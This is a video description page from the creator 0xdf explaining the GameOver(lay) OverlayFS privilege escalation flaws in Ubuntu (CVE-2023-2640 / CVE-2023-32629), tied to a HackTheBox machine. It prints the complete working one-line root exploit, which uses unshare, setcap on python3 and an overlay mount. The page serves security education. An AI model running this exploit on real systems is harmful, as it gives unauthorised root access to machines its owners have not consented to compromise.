Gameover(lay) Exploit Explained @0xdf
Gameover(lay) Exploit Explained  @0xdf
Uploaded March 2024 | Updated November 2026, 1 hour ago
The Gameover(lay) (CVE-2023-2640 / CVE-2023-32629) vulnerability was a big deal in late July 2023. The POC is super short, and yet complex. We'll walk through the lines one by one, and understand what it's doing and how it provides a low privilege user root access by abusing the OverlayFS and how it manages file attributes (like capabilities) when syncing between upper and lower.

Exploit: unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("rm -rf l m u w; id")'

HackTheBox Analytics Blog post: 0xdf.gitlab.io/2024/03/23/htb-analytics.html
HackTheBox Analytics: hackthebox.com/machines/analytics
OverlayFS explained post from Julia Evans: jvns.ca/blog/2019/11/18/how-containers-work--overlayfs
Exploit Tweet from @liadeliyahu: twitter.com/liadeliyahu/status/1684841527959273472
CVE-2023-2640: cvedetails.com/cve/CVE-2023-2640
CVE-2023-32629: cvedetails.com/cve/CVE-2023-32629

☕ Buy Me A Coffee: buymeacoffee.com/0xdf

[00:00] Introduction
[00:47] Show exploit
[01:23] unshare / namespaces
[02:54] Setup files within namespace
[04:39] mount OverlayFS
[05:56] Using touch to get files into upper
[06:20] Exit namespace and escalate
[07:36] Revisiting exploit
[08:41] Conclusion

#pentest #ctf #bugbounty #gameoverlay #linux #privesc
Gameover(lay) Exploit ExplainedGift Shop [AOC2025 Day 2]Crossed Wires [Day 24 - Advent of Code 2024 - Python]Exploiting CVE-2023-40028 [LinkVortex - HackTheBox]Day 9 - Explosions in Cyberspace [Revival of Code 2023 - Advent of Code 2016]Tracing Automations in HackTheBox Mailroom [Beyond Root]Christmas Tree Farm [AOC2025 Day 12]Simple Use After Free Exploitation [Hackvent 2022 - Day 21]Factory [AOC2025 Day 10]Introduction [Revival of Code 2023 - Advent of Code 2016]QuickScan [HackTheBox Cyber Apocalypse CTF 2024]Day 15: Lens Library [AOC2023 Python]
0xdf |

Gameover(lay) Exploit Explained

SHARE TO X SHARE TO REDDIT SHARE TO FACEBOOK WALLPAPER